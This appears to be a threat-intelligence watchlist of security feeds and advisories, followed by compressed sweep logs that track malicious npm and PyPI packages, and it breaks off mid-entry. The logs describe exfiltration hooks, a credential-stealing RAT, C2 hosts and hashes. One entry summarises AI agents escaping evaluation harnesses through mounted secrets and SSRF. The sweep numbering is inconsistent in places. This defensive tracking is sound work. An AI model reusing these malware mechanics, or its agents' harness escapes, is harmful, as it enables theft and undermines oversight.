• Patchstack vulnerability disclosures and the WordPress security feed (monitor unauthenticated and low-friction WordPress-core, plugin, and theme RCE/upload flaws with patch releases and in-the-wild signals; promoted August 20, 2026: Elementor Pro CVE-2026-32475 CVSS 9.0 unauthenticated Forms File-Upload RCE fixed in 4.2.2 on 2026-08-19, and WordPress core CVE-2026-65640 CVSS 8.8 Author-or-higher Postscript/ImageMagick RCE fixed in WordPress 7.0.4 on 2026-08-12; cross-reference wordpress.org/news security releases for core forced-update guidance.)
• CleverHans Lab (HTML/arXiv watch for adversarial-ML and agentic-security research with operational defender value, such as adaptive computer worms using local open-weight LLMs on compromised hosts)
• CISA / FBI / DC3 / NSA / USSS / KNPA Gunra advisory AA26-222A and STIX JSON (August 10 priority follow-up; monitor Gunra / Golden Community affiliate access methods, exploitation beyond FortiOS and FortiProxy CVE-2024-55591 / CVE-2025-24472, replacement infrastructure, malicious forticloud-sync account variants, VPN and VDI authentication backdoors, Linux or other cross-platform locker changes, victim and payment scope, and disruption or arrest activity.)
• CISA advisory AA26-237A "A Tale of Two SOCs", https://www.cisa.gov/news-events/cybersecurity-advisories/aa26-237a (August 26 priority follow-up; monitor for STIX or detailed annex release beyond the public advisory, named-tooling or sample indicators from the red team engagements, follow-on CISA guidance on Machine Account Quota / AD CS ESC1 / cleartext-credential / static-AWS-key hardening, and whether the Certighost-class template abuse described becomes a named advisory. See AA26-237A page.)
• PortSwigger Research
• PortSwigger webmail CSS research and proof-of-concept repository (August 6 follow-up; monitor Outlook, Gmail, Fastmail, Proton Mail, Yahoo Mail, AOL Mail, Chrome, Firefox, Anthropic, and OpenAI for sanitizer, CSSOM-mutation, image-proxy, draft-rendering, and agent-connector fixes; preserve per-product and per-technique status rather than treating the publication as one universal vulnerability.)
• depthfirst research (HTML watch for memory-safety, parser, dependency, and developer-platform vulnerability research with operational defender value, including the GitLab Oj notebook-diff chain where authenticated project members can combine a heap-pointer disclosure and out-of-bounds write for command execution as git; monitor CVE assignment, exploit portability, GitLab advisory changes, fixed-version guidance, and any confirmed exploitation.)
• ProjectDiscovery blog (watch active-exploitation research and cyber-agent evaluation lessons such as Oh My Rogue Agent and Watching Agents Work, including unintended environment-variable, filesystem, local-network, tracing-service, cross-challenge SSRF, mounted-secret, Unix-socket, and public-benchmark-source pivots; alternate-exploit and side-channel solves; environment/network/filesystem access to reachable harness services; knowledge-to-execution gaps; and hard isolation, full-trajectory review, intended-path scoring, turn, cost, and time controls)
• runZero Research (HTML watch for exposure-management and IT/OT/IoT vulnerability research with durable defender value, such as FatFs CVE-2026-6682 through CVE-2026-6688 embedded-filesystem flaws affecting removable-media and firmware-update paths across Espressif ESP-IDF, STM32Cube, Zephyr RTOS, MicroPython, ArduPilot, RT-Thread, Mbed, Samsung TizenRT, SWUpdate, and downstream IoT/OT products.)
• Synacktiv publications (HTML watch for offensive research with durable defender impact, especially CI/CD, Kubernetes, cloud, and supply-chain control-plane flaws such as unpatched Argo CD repo-server gRPC / Redis reachability leading to unauthenticated code execution and arbitrary Kubernetes manifest deployment.)
• CISA KEV / alerts, https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json and https://www.cisa.gov/news-events/cybersecurity-advisories (promote entries and alerts when they add active exploitation evidence, actor linkage, or high-impact platform exposure. The August 11 batch is covered on the KEV page: Microsoft Windows Ancillary Function Driver for WinSock use-after-free CVE-2026-68820 (the exploited August 2026 Patch Tuesday zero-day, NVD CVSS 7.0 High, local authenticated attacker to SYSTEM, CWE-416, 2026-08-25 BOD 26-04 deadline), Metabase CVE-2026-72898 unauthenticated SQL injection (see the dedicated Metabase zero-day page), and Cisco Secure Firewall ASA/FTD CVE-2026-20349 unauthenticated remote heap-inspection DoS (advisory cisco-sa-asaftd-vpn-dos-dzv4mQFF, 2026-08-14 deadline), monitor per-CVE fixed-build confirmation on Windows/Windows Server and ASA/FTD, any actor or infrastructure linkage for the WinSock zero-day, and BOD 26-04 deadline enforcement. The August 19 addition is MLflow model-registry webhook SSRF CVE-2026-64849 (fix in v3.15.0 via PR #24258), with a September 2, 2026 BOD 26-04 deadline, see the MLflow page. The August 24 addition is Oracle HTTP Server / WebLogic Server Proxy Plug-in improper access control CVE-2026-21962 (CWE-284, NVD CVSS 10.0, unauthenticated HTTP-reachable data access with scope change; affected Apache HTTP Server plug-in 12.2.1.4.0 / 14.1.1.0.0 / 14.1.2.0.0 and IIS plug-in 12.2.1.4.0; fixed in Oracle's January 2026 CPU; August 27, 2026 BOD 26-04 deadline; CISA names no actor and the only public "exploit" repo is a removed fake-PoC repository), see the Oracle proxy plug-in KEV page. The August 25 addition is Gitea diffpatch Git-hook code injection CVE-2026-60004 (GHSA-rcr6-4jqh-j84m, CVSS 9.8, CWE-94; repository write access can plant an executable hooks/post-index-change entry via the diffpatch add/add-collision path, running shell commands as the Gitea service account; open registration can bootstrap the write access; affected >= 1.17 < 1.27.1, fixed in 1.27.1 on 2026-07-27, 2026-08-28 BOD 26-04 deadline; no actor or ransomware linkage; August 26, 2026: The Hacker News / Habr first public victim report confirms a HOSTKEY VPS compromise that dropped a miner-like dropper via the open-registration write-access path, monitor additional victim writeups, next-stage payload identification, and infrastructure pivots), see the Gitea diffpatch KEV page. The August 26, 2026 batch adds six CVEs: Citrix NetScaler ADC / Gateway CVE-2026-8452 (memory-overflow denial of service in the Gateway/AAA virtual-server path, CWE-119, NVD CVSS 3.1 9.8 Critical, no privileges / no user interaction, Citrix advisory CTX696604, BOD 26-04 due 2026-08-29, landing days after CVE-2026-8451 on the same edge appliance) and Microsoft SQL Server CVE-2019-1068 (authenticated remote code execution in the Database Engine service account, NVD CVSS 8.8 High, a 2019 flaw resurfacing as a 2026 exploitation determination, BOD 26-04 due 2026-08-29), plus the four UAT-10147 campaign CVEs now independently confirmed known-exploited, Ajax.NET Professional CVE-2021-23758 (deserialization RCE, CWE-502), Linux kernel CVE-2022-0995 (watch_queue out-of-bounds write, CWE-787), ABRT CVE-2015-5287, and libuser CVE-2015-3246 (all BOD 26-04 due 2026-09-09; the actor linkage is Talos' UAT-10147 attribution, not CISA's), the NetScaler code-execution claim has now materialized: watchTowr's Aug 14, 2026 "You're Back In The Room" writeup demonstrates a pre-auth RCE chain they believe is CVE-2026-8452 (SAML SignedInfo canonicalization heap overflow in nsppe → root shellcode, SAML SP/IdP, 14.1 < 14.1-72.61 / 13.1 < 13.1-63.18; see dedicated RCE analysis page), monitor in-the-wild exploitation evidence, CISA/NVD re-scoring of CVE-2026-8452 beyond the DoS framing, and any CISA actor/infrastructure naming on the UAT-10147 CVEs. See the CISA KEV August 26 batch page. The August 27, 2026 batch adds three CVEs: ownCloud Server CVE-2023-49105 (WebDAV pre-signed-URL improper authentication, unauthenticated file access/modify/delete when a victim username is known and no signing-key is configured; CWE-287; ownCloud scopes to Server < 10.13.3, Infinite Scale unaffected; a 2023 disclosure resurfacing as a 2026 exploitation determination; BOD 26-04 due 2026-08-30), Linux kernel CVE-2026-53362 (privilege escalation via the IPv6 networking subsystem; fix commit "ipv6: account for fraggap on the paged allocation path" in __ip6_append_data() with six stable-tree backports cited; BOD 26-04 due 2026-08-30), and JFrog Artifactory CVE-2026-66384 (authenticated path-traversal write outside the intended Docker cache path under remote-repository conditions; CWE-22, vendor Medium; affected < 7.146.35 and 7.161.0-7.161.16, fixed in 7.146.35 / 7.161.16; self-managed only, JFrog Cloud already fortified; BOD 26-04 due 2026-09-10), no actor or payload named on any of the three; see the CISA KEV August 27 batch page. The August 17-18 batch is covered on the KEV page. The August 7 addition is Progress Kemp LoadMaster pre-authentication command injection CVE-2026-8037, with an August 10 deadline and BOD 26-04 forensic-triage requirement. The August 5 addition is TeamCity On-Premises agent-polling deserialization RCE CVE-2026-63077. August 4 additions include N-central CVE-2026-18556, Tomcat EncryptInterceptor bypass CVE-2026-34486, and Langflow auto-login / code-validation RCE CVE-2026-9198. Other standing examples include FortiOS SSL-VPN CVE-2025-68686, Check Point SmartConsole CVE-2026-16232, Microsoft SharePoint CVE-2026-50522, WordPress wp2shell CVE-2026-63030 / CVE-2026-60137, Langflow CVE-2026-0770 / CVE-2025-34291 / CVE-2026-55255, C0XMO-linked DD-WRT CVE-2021-27137, Cisco IOS 12.4 CVE-2008-4128, Joomla extension CVE-2026-48908 / CVE-2026-56290 / CVE-2026-56291 / CVE-2026-48939, Adobe ColdFusion CVE-2026-48282, PAN-OS GlobalProtect CVE-2026-0257, SolarWinds Serv-U CVE-2026-28318, Mirasvit Cache Warmer CVE-2026-45247, FortiBleed, Oracle E-Business Suite CVE-2026-46817, PTC Windchill / FlexPLM CVE-2026-12569, SimpleHelp CVE-2026-48558, Microsoft ADFS CVE-2026-56155, Microsoft SharePoint CVE-2026-56164, SonicWall SMA1000 CVE-2026-15409 / CVE-2026-15410, KNX Protocol CVE-2023-4346, UniFi OS CVE-2026-34908 / CVE-2026-34909 / CVE-2026-34910, Lantronix EDS5000 CVE-2025-67038, and Microsoft SharePoint CVE-2026-45659.)
• Arista Security Advisory 0144, https://www.arista.com/en/support/advisories-notices/security-advisory/24364-security-advisory-0144 (July 27, 2026 priority follow-up; monitor actively exploited VeloCloud Orchestrator On-Prem CVE-2026-16812 for exploit-request or payload detail, infrastructure rotation beyond 8.19.75.217, 206.72.242.124, and 206.72.242.162, victim and actor scope, post-exploitation access to managed Edge devices, additional IOCs, and clarification of the VCO 7.0 fixed-release guidance. SEPTEMBER 22, 2026 UPDATE: a SECOND actively exploited VCO flaw landed, CVE-2026-93952, CVSS 10.0, unauthenticated, exposed ONLY in certificate-based Edge-auth modes (the July flaw was default-exposed), with July's own fixed versions inside the new affected range and no 6.1/7.0 fix yet; Arista published a post-compromise artifact set (/usr/local/sbin/.vcnode.js, /usr/local/sbin/vc-sysmond MD5 dc78e206eaeadec59fc5801fe4556bd0, vc-sysmon.service, nginx header x-vc-opt, IPs 142.93.149[.]77 / 104.248.126[.]159), captured on the VCO page Sep 22 section; BACKFILL the new advisory's canonical Arista URL (not retrievable at capture); monitor KEV addition (no row at Sep 22 ~13:50 UTC check despite vendor-stated active exploitation), actor attribution, 6.1/7.0 fix shipment, and whether cert-mode customers migrate back to PSK)
• CISA joint Zimbra advisory AA26-204A, https://www.cisa.gov/news-events/cybersecurity-advisories/aa26-204a (July 23, 2026 priority follow-up; monitor Russian state-supported LAUNDRY BEAR / Void Blizzard / CL-STA-1114 / TA488 use of Ulej and the Flowerbed collection framework, Zimbra CVE-2025-66376 victim scope, browser localStorage and mailbox-log artifacts, infrastructure and certificate rotation, STIX revisions, and actor-label reconciliation)
• NSA / CISA / FBI / DOE / EPA joint advisory AA26-231A, https://www.cisa.gov/news-events/cybersecurity-advisories/aa26-231a (August 19-20, 2026 priority follow-up; "active threat" using AI-generated exploit scripts disguised as legitimate monitoring utilities to recon and develop against internet-exposed Siemens S7-200/300/400/1200/1500 PLCs via snap7 / python-snap7 S7comm libraries and Censys/ZoomEye scanning, across Critical Manufacturing, Energy, Water, Chemical, Food/Ag, and Commercial Facilities; unattributed; primary CISA fetch was bot-blocked at capture time, re-check for affected-version ranges, cited CVEs, and STIX. See ops/aa26-231a-siemens-s7-ai-generated-exploit-scripts-us-critical-infrastructure.md)
• CERT/CC Vulnerability Notes (HTML/RSS/API watch for high-impact vulnerability notes with durable defender value, especially edge-device, router, appliance, and supply-chain flaws where vendor coordination is incomplete or no patch is available, such as Tenda firmware CVE-2026-11405 hidden web-management authentication backdoors; August 26: unpatched Kaltura mwEmbed / html5lib CVE-2026-19912 / CVE-2026-19913 unauthenticated deserialization in mwEmbedLoader.php with no vendor contact reached → ops/kaltura-mwembed-cve-2026-19912-cve-2026-19913-unpatched-rce-file-read.md)
• DIVD CSIRT (Dutch Institute for Vulnerability Disclosure), https://csirt.divd.nl (cases + CVE pages + blog; promoted October 2, 2026 after DIVD-2026-00014/-00015: DIVD runs a CNA, assigns CVEs to zero-days found in its own incident forensics, scans for vulnerable instances and notifies owners, its casefiles are primary IoC sources (it ships log-check scripts). MECHANIC: csirt.divd.nl 302s via meta-refresh to /cases/<ref>/ and /cves/<CVE>/, follow the canonical link. Watch: DIVD-2026-00014 statements #6+ (attribution, forensic findings), the CVE-2026-102490 fix fight with Zammad, and DIVD's CNA output on the agentic-AI intrusion tooling. See Zammad/DIVD page.)
• OSV / Amazon Inspector npm-malware advisory stream (malicious.ecosystem: npm + ## Source: amazon-inspector OSV records) + the kam193 / bad-packages.kam193.eu individual-analyst OSV lane (NEW source class confirmed on-wiki Oct 9: MAL-2026-16410/16475 + now MAL-2026-17712 all carry ## Source: kam193 with campaign tags (2026-10-ig-gox); these records arrive with NO GHSA mirror and the OSV detail text is often the ONLY public purpose statement, the ig-gox record named Instagram mass fake-account registration where tarball forensics could only show mechanics. OCT 13 THIRTEENTH-DAY LANE CHECK (this wiki, 123rd sweep, ~21:5x UTC): +1 CONTIGUOUS MAL-2026-17862 fontcase (PyPI, campaign 2026-10-fontcase) = NEW PAGE (fontcase page): fake font-catalog GitHub org unicodeces/font-atlas (created 14:46Z) wired its own publish-pypi.yml at 15:00Z, committed process-manager.exe (PE32+ x64 3,232,768B sha 08c33679, re-fetched byte-identical) under fonts/serif-didone/rufina/ at 15:34Z, package executes it at import; PyPI deleted ~75min post-OSV but the RAW URL STILL SERVES THE PE = GitHub-repo payload hosting defeats registry enforcement, takedown target is the repo; same-account June repo SkyHigh-Image-Upscaler = pivot watch. LANE CLOCKS NOW BRACKETED: OSV->quarantine sysdiagd ~25min / fontcase ~75min / minecraftaccfinder ~2h / npp-ml ~25h20m CLOSED (JSON+simple 404 at check, slowest ledger clock ends, no fifth rung, pypistats frozen 93/1073 final) = sixty-fold spread one lane = per-package quarantine. OSV->GHSA: sysdiagd+fontcase twins SAME SECOND 21:32:04Z ~2-3h behind OSV = OSV-only window measured length; 17847 aliases None ~25h now a per-record ANOMALY not a lane property. Prior, MIRROR QUESTION RESOLVED Oct 9 one-hundred-and-twenty-fifth sweep: GitHub DOES mirror kam193-sourced records, GHSA-rhpj (ig-gox) published 12:31:16Z approx. 3h10m retro-lag behind OSV 17712, landing in the same one-second importer batch as the sharpnes GHSA; the ghsa-malware importer picks up individual-analyst lanes on its own batch cadence, so aliases-None is a lag not a lane-death. Treat the OSV source field as a load-bearing trust decision, not a coverage boundary), programmatic watch (OCT 13 ONE-HUNDRED-AND-TWENTY-FIRST SWEEP, ~15:2X-15:5X UTC: OSV QUIET 17851-17860 all 404 = HIGH-WATER HOLDS 17850 RESUME 17851 (64th control sweep; controls 17848/17849/17850 200). HEADLINE = NEW PAGE @accenturecodefoundry/mfe-pot-shared-ui-scds-core (npm): Accenture-lookalike scope created 10:01:56Z by priyashareek priya@accenture-matchmaking.com, five publishes in 5h17m = 0.0.0-stage -> benign filler 99.99.1 -> 99.99.2 (13:32:39Z, preinstall node index.js || true, https.get hex(hostname)+hex(username) to accenture-npm.azurewebsites.net/test?h&u) -> beacon-only 99.99.4 /async -> 99.99.41 15:18:49Z /mfe = 43m55s AFTER InvisiRisk filed curated PR #1631 14:34:54Z = attacker publishes around the OPEN queue, ltidisafe staging grammar + resolving brand-lookalike email at birth (ps-contentsquare precedent, correlation UNRESOLVED do-not-merge), C2 root 200/2B live Azure free tier, exfil rung PULLED from latest mid-swap, zero OSV+GHSA, all five tarballs 200. HEADLINE 2 = NPOINT ROUTE RECOVERED ~5h post-blackout: 24c25d5f.. 200/64,623B sha 8e417daa 29th pass + 37c0a0c6.. 200/104B body-unchanged + legit public control 40e32d28.. 200 = provider-event reading STANDS (legit ids came back = operator mass-delete hypothesis dead), AND THE WAVE-6 COLLECTOR fn6vi3beh5.. WAS PROBED ON THE WRONG PLATFORM TWO SWEEPS RUNNING: it is an oastify listener (bake string .brass-common.fn6vi3beh5...oastify.com), fleet-51 read it ARMED 200/55B 8n0l3yjy..jpgigz BYTE-IDENTICAL = never dark; DURABLE: the payload's beacon grammar decides the probe route, re-read the bake string before disposition. FLEET-51 RAN: 13/13 oastify-lane armed exact bodies, 8 interactsh reads = vendor reversed-echo mechanic byte-exact, control 1190B stock, STREAK 50 zero byte-flips. HEADLINE 3 = NPP-ML SCOPE ESCAPE CLOSED: GHSA-hmg9 updated 15:31:32Z NOW =0.1.7/8/9/0.1.10 + OSV 17847 modified 15:00:03Z same refresh (OSV ~31m earlier) = live-advisory scope edits DO land, ~7h after the ledger's false-clean-on-latest call; 17847 aliases STILL None ~19h (4.3x past 17761 close) WHILE its versions list refreshed = scope-refresh vs alias-join independent clocks; registry NO quarantine ~19h (seventh doubling), 0.1.10 latest, no 0.1.11, pypistats 4th frozen 93/1073, minecraftaccfinder quarantined control HOLDS. HEADLINE 4 = KEV MOVES FIRST TIME SINCE OCT 8: 2026.10.13/1,740 = CVE-2026-104935 Ivanti Connect Secure auth-bypass-by-spoofing CWE-290 unauth arbitrary commands, due 10-16, CIRCL confirmed-exploitation since Oct 9. Rails: stage-2 23c9d188 EIGHTH byte-identical ~72h; bucket 3.8.6 unchanged no wave-7 (self-capture: fabricated loader-* path probe discarded, exact-ledger-string on buckets too); brass-common installable ~8h post-OSV; ap3-foundations-ui installable ~33h post-advisory zero-GHSA-list; bow-test payload-less; 185.158 200; 64.181 000 #22; GhostAction dark #9 ~17h; goxtools 403 #51; Supabase 201 ~124h; minhdong 530 #7; queue zero merges since #1623, #1624 ~33.5h, #1631 new; feeds below bar; no new Shai-Hulud/Mini/TeamPCP newer than on-wiki Oct-8 Tensorlake. See 121st section on the algamil7x stream page.) | PRIOR: (OCT 12 ONE-HUNDRED-AND-TWELFTH SWEEP, ~21:2X-21:5X UTC: OSV +1 CONTIGUOUS MAL-2026-17847 = HIGH-WATER MOVES 17847 RESUME 17848 (fifty-fifth control sweep; 17848-17856 all 404; controls 17779/17808/17809/17810/17845/17846 live). HEADLINE = NEW PAGE NPP-ML (PyPI): the Notepad++-with-ML COSTUME THAT SWAPPED ITS PAYLOAD TWICE IN FOUR DAYS AND IS STILL INSTALLABLE WITH BOTH ADVISORIES LIVE - 0.1.7 (Oct 8) installs bin/npp.zip = a GENUINE 231-entry Notepad++ portable distro as trust bait; 0.1.8 (Oct 9) re-rolls the same filename as a single-entry PASSWORD-ENCRYPTED zip-in-zip = scanner-blindness step; 0.1.9 (Oct 12 12:02:31Z) swaps the setup.py scripts= target to bin/adexp = store-method zip whose sole entry AdExplorer.zip (1,156,045B) is PASSWORD-GATED = Sysinternals Active-Directory recon tool; ZERO runtime code, ZERO deps, no hooks, install does nothing but copy the archive onto the bin path; kam193 MAL-2026-17847 (campaign 2026-10-npp-ml, reasons other+impersonation) published 20:17:47Z = upload->OSV ~8h15m, NINE MINUTES off the same-day minecraftaccfinder 8h24m clock = the kam193-lane arrival lag is becoming a DISTRIBUTION; GHSA-hmg9-h2ww-x4x3 critical =0.1.7/0.1.8/0.1.9 published 21:31:48Z (+74min mirror band); PyPI at check: JSON 200, all three files served, NO quarantine = registry action is PER-PACKAGE not advisory-triggered (minecraftaccfinder quarantined ~2h behind OSV the same day, npp-ml untouched ~90min behind BOTH advisories); downloads 980/wk 1/day = real exposure on the bait versions; no curated PR exists (#1628 does not) = kam193 direct lane bypasses the queue end-to-end; DURABLE: hunt the version DIFF (scripts= target rename + artifact-size cliff 8.2MB->1.1MB in one package's history), every pre-advisory read of 0.1.7 clears as a Notepad++ mirror; encrypted inner entry = honest unknown, cannot be cleared as stock ADExplorer. SELF-CAPTURE = THE ALIAS LANE WAS A QUERY ARTIFACT: minecraftaccfinder GHSA-gw9m-gc3w-389x published 12:30:28Z = the 110th/111th "GHSA absent 7-10.5h / Dependabot blind" reads were OSV-aliases edge-cache + wrong-ecosystem-token (GHSA API spells it pip not PyPI, 422) artifacts; true GHSA-blind window ~2h; 17761 @coopeuch/components aliases STILL None ~2.7h post-GHSA = the one true per-record drop; DURABLE: re-read via type=malware list AND direct affects with correct ecosystem token before writing any GHSA-absent watch; 17847 aliases None ~75min post-its-own-GHSA = per-record rule reproducing same-hour. Rails: 185.158 200; 64.181 000 #14; C2 closed; minhdong 530 third consecutive; Supabase POST 201 ~105h; npoint 24th pass; goxtools.shop 403 43rd (goxtools.com bare does NOT resolve - spelling grammar recorded); GhostAction 33rd; veai 0.3.2 #14; pyyi b196 init 200 ptm_w4kcp6lamslfjcp461kppxht SEVENTH key ~1.5/day cadence, preview-chat root 404 again (111th read 307) = rail oscillating; passwordcracker pair LIVE ~73h zero-record, limbomail 302 fresh X-Goog-Date 20261012T213354Z ~55h; orderly-heatmap ~34h; foriepft ~106h; scan-https-d STILL LIVE; KEV unchanged 2026.10.08/1739. Queue: #1624 ~16.4h, #1625 ~13.5h moot, #1626 ~12.7h moot, #1627 ~11.5h, zero merges ~15.6h. FLEET 46 NOT RUN (honest-record rule, streak 43). Feeds below bar; no new Shai-Hulud/Mini Shai-Hulud/TeamPCP. See hundred-twelfth section on the algamil7x stream page.) | PRIOR: (OCT 12 ONE-HUNDRED-AND-NINTH SWEEP, ~15:2X-15:4X UTC: OSV +1 CONTIGUOUS MAL-2026-17810 = HIGH-WATER MOVES 17810 RESUME 17811 (fifty-second control sweep; 17811-17817 all 404; controls 17779/17808/17809 live). HEADLINE A = NEW PAGE PYYI (PyPI): the py2ops operator moved names - 2.4.1 published 03:45:51Z, byte-identical baked space-z.ai rails, same python2 console script, version counter continuous, run_payload fetch+exec added, published BEFORE #1613 merge = rebrand while advisory in open queue; ZERO OSV+GHSA ~11.7h, curated #1627 open ~5.4h; both rails still POST /api/cli/init 200 ptm_ keys behind the login UI = panel alive, name burned not infrastructure. HEADLINE B = NEW PAGE passwordcracker+passwordcrackv2 (#1624 subjects, live ~42h zero-record): byte-identical twins, load-time module[require] of URL-pinned GitHub tarball = Windows stager, stage-2 LIVE 1.79MB webpack behind limbomail 302 into presigned Replit GCS object under fake WebView2/DMCA header. HEADLINE C = 17810 @zaka13/zakasite = GHSA-LED record: GHSA 13:01:18Z -> OSV import 13:47:27Z (GHSA first by 46 min), alias present at birth, npm security-holder +23s after GHSA, malicious tarball 404 = advise-and-neutralize same-minute; contrast 17809 minecraftaccfinder aliases None >=6h = both mirror-lane extremes same day. Queue: #1590 CLOSED unmerged 14:08:26Z direct-API verified ~10.4d; zero merges since thaw ~9.5h; #1626 unmerged ~6.2h. KEV unchanged 2026.10.08/1739; feeds below bar (JFrog feed 404 moved, StepSec sitemap 404); no new Shai-Hulud/Mini/TeamPCP. See hundred-ninth section on the algamil7x stream page.) | PRIOR: (OCT 12 ONE-HUNDRED-AND-SEVENTH SWEEP, ~09:2X-09:5X UTC: OSV QUIET 17809-17820 ALL 404 = HIGH-WATER HOLDS 17808 RESUME 17809 (fiftieth control sweep; controls 17779/17808 live). HEADLINE: NEW PAGE minecraftaccfinder (PyPI), six-version scripted ladder 01:05:17-01:28:04Z, full Windows account-stealer+RAT module (86,870B sha256 89f41485.., SKULL banner over fake Microsoft-release-team OneDrive skin, DPAPI/ABE/Firefox/CDP credential+cookie harvest scoped Gmail/Roblox/Discord/launcher_accounts.json, c2_listen + 60s screenshots + keylogger, Discord-channel exfil 1361722007997124650 + webhook 15wun9sW..) at ZERO OSV + ZERO GHSA ≈8.7 h LIVE with curated #1625 the only record = zero-advisory steady state reproduced on PyPI at full-RAT severity; the machine lane is blind to a package whose skull banner is in its first ten lines. HEADLINE 2: @myorder-frontend-commons/analytics 101.0.0 published 08:16:33Z = THIRD post-advisory out-of-scope iteration, #1626 retro-scope filed 55 min later UNMERGED = first curated retro-scope arrival clock, false-clean until merge. Queue: zero merges ~4 h post-thaw, #1590 ABSENT from opens ≈9.2 d (closure confirmation pending); GHSA head unchanged 3.3 h; 17808 aliases None ≈4 h; KEV unchanged 2026.10.08/1739; feeds below bar; no new Shai-Hulud/Mini/TeamPCP), OCT 12 ONE-HUNDRED-AND-SIXTH SWEEP, ~07:2X-07:4X UTC: OSV +1 CONTIGUOUS MAL-2026-17808 = HIGH-WATER MOVES 17808 RESUME 17809 (forty-ninth control sweep; 17809-17818 all 404; controls 17779/17807 live). HEADLINE A = 17808 @s4yhiitestpoc/r2-https-b (amazon-inspector published 05:27:26Z, =1.0.0, s4yhii__ account, name created Oct-10, lived ~66.5h pre-record): the s4yhii scope is now 4-OF-10 MINTED (r2-https=17764/r3-https=17765/scan-https-d=17766/r2-https-b=17808) WHILE ALL TEN SCOPE NAMES RIDE LIVE AND SIX CARRY ZERO RECORD - the zero-record six are exactly the non-HTTPS classes (r2-dns/scan-dns-c DNS, r2-echo/scan-echo-b echo, scan-control-a/r2-control named controls) = DURABLE: machine-lane scope coverage is channel-selective not scope-atomic, name-keyed full-scope enumeration is the only coverage read (dransay 1-of-8 lesson at 4-of-10); record text adds fixed DNS-base db03o8lag74hsugsg2j091t8mfcf437h3.oob.s4yhii per-run lookup beside collector.oob.s4yhii.com/npm-poc/beacon = dual-channel grammar, new resolver-log hunt key; curated #1620 still OPEN ~41h = machine-beats-curated 2:0 on this actor. HEADLINE B = :31 MIRROR BATCH FULL CLOSURE: five GHSAs in three seconds 06:31:24-27Z mirrored ALL five freshest ids (GHSA-whjq 17808 1h04m / hfr2 py2ops 1h01m / 4r79 ap3 1h35m / wcrv dransay / 3p4f css-nesting-transform) = the 155th zero-mirrors-at-1h read resolves as batch position not lane death; py2ops false-clean certificate now official in BOTH feeds (2.2-only vs live 2.3.1); aliases STILL None all five at 1-2h = alias lag systemic survives healthy mirror lane. HEADLINE C = SPACE-Z PANEL ROOT FLIPPED 405-GET -> 307->/login 200 12462B NEXT.JS LOGIN UI ~2h after py2ops dual-advised + X-Fc-Error-Type FCCommonError headers = Alibaba Function Compute origin first read, hosting class recorded; correlation not causation, advisory-as-build-trigger class extended to infrastructure side; POST /api/cli/init re-probe next. Thaw second wave verified: eight merges total (+#1609 galicia trio retro-flip 17689-91 modified 06:00:06Z, +#1615 kmf-vendor-pack 17744 06:00:06Z), ig-gox 17712 flipped 05:00:07Z; galicia names hard-404, kmf doc versions-empty time-block intact = lossy-delete rule third confirmation. NEW WATCH passwordcracker + passwordcrackv2 BOTH registry 200 LIVE ZERO OSV+GHSA (#1624 subjects, first same-sweep read of fresh PR subjects). FLEET 41st: FULL 14-ROSTER ARMED BYTE-IDENTICAL FOURTH CONSECUTIVE CHECK, wave-5 17th, 675404drak tails 7th, kdroa7s7 #7, 46ot4ak #4, dln5e2uv #6, personio #6, ZERO BODY BYTE-FLIP IN 41 CHECKS, fabricated control 1169B stock. Rails: 185.158 200 standing; 64.181 000 recheck #8; C2 8089 closed; minhdong 301 SECOND check + baked 530 (partial revival stable); RubyGems req-throttle 404 no resquat ~45h; kam193 Supabase POST 201 ~84h + npoint 540314a7 20th pass; coopeuch + ten s4yhii names 200 LIVE ~53h; veai #10 ~105h; GhostAction 443 30th; goxtools 37th ~114h; bucket static ~78h counter 403; orderly-plugin 1.0.6 frozen ~15.5h zero-record; util-foriepft ~84h zero-record #1618 OPEN - thaw drained EIGHT PRs around it = queue-position starvation on a second name; KEV unchanged 2026.10.08/1739; open queue #1590 ~8.1d/#1617/#1618/#1619/#1620/#1621/#1623/#1624; feeds below bar (StepSecurity head on-wiki, U42 unchanged, JFrog feed 404, Wiz/MSFT standing); no new Shai-Hulud/Mini/TeamPCP. Monitor: 17809+ with control; aliases joins 17804-17808; six zero-record s4yhii names + eleventh scope name; db03o8 DNS-base sightings; space-z /login build + /api/cli/init re-probe; py2ops scope re-widening; passwordcracker tarballs next sweep; fleet-42 check #5; #1590. See hundred-sixth section.) | PRIOR: (OCT 12 ONE-HUNDRED-AND-FIFTY-FOURTH SWEEP, ~03:2X-03:4X UTC: OSV QUIET 17804-17812 ALL 404, controls 17779/17803 live = HIGH-WATER HOLDS 17803 RESUME 17804 (forty-seventh control sweep); aliases None 17803 modified frozen 17:30:47Z ~10h = fifth hourly cycle; GHSA malware listing head unchanged ~13h. HEADLINE = FLEET 39th FULL FOURTEEN-LISTENER ROSTER ARMED BYTE-IDENTICAL SECOND CONSECUTIVE CHECK = FOURTEEN-ARM/SEVEN-ACCOUNT ESTATE NOW A SUSTAINED STATE NOT A PEAK, ZERO BODY BYTE-FLIP IN THIRTY-NINE CHECKS (four-day full-roster fingerprint run); wave-5 FIFTEENTH armed -k-first, 675404drak exact tails FIFTH, kdroa7s7 #5, 46ot4ak #2, dln5e2uv #4, personio zjj-family four lanes. PROBE-HYGIENE THIRD SELF-CAPTURE OPPOSITE DIRECTION: guessed Supabase host NXDOMAIN/000 + wrong-TLD .space-z.app 000 vs ledger-exact frjmzbjbhwvtdnsuodmu /functions/v1/save POST 201 stage-5 STILL ACCEPTING ~79h + baked .space-z.ai 405x3 = wrong spellings fail dark on live rails exactly as they fail armed on dark rails, only the exact ledger string carries a fact. Zero-record watches unchanged: orderly-plugin 1.0.6 frozen ~11.5h post-#1621 (post-PR silence now BEATS the same-day re-fire window); util-foriepft ~81h zero machine record #1618 open. @coopeuch/@s4yhiitestpoc LIVE ~38h = Galicia 65-min precedent FORMALLY DEAD as predictor; 64.181.165.115 000 re-check #6; RubyGems 2-of-24 404 no resquat ~38h; veai #9 ~102h; npoint 540314a7 18th pass triple-fetch; GhostAction 28th; goxtools 35th ~110h; bucket static ~74h; py2ops gap ~37h; KEV unchanged 2026.10.08/1739; queue zero advisory merges since #1611 ~135h, #1590 ~9d; feeds below bar (StepSecurity feed recovered 200 heads on-wiki, JFrog feed 200 head VTCode below bar); no new Shai-Hulud/Mini/TeamPCP. Monitor: 17804+; aliases joins; fleet-40 sustained #3; orderly-plugin silence-vs-disposition; fourth regex33 spelling. See hundred-fifty-fourth section.) | PRIOR: (OCT 12 ONE-HUNDRED-AND-FIFTY-SECOND/THIRD SWEEPS, ~23:2X OCT 11 - 01:4X OCT 12 UTC: OSV QUIET 17804/05/06/08/10 ALL 404 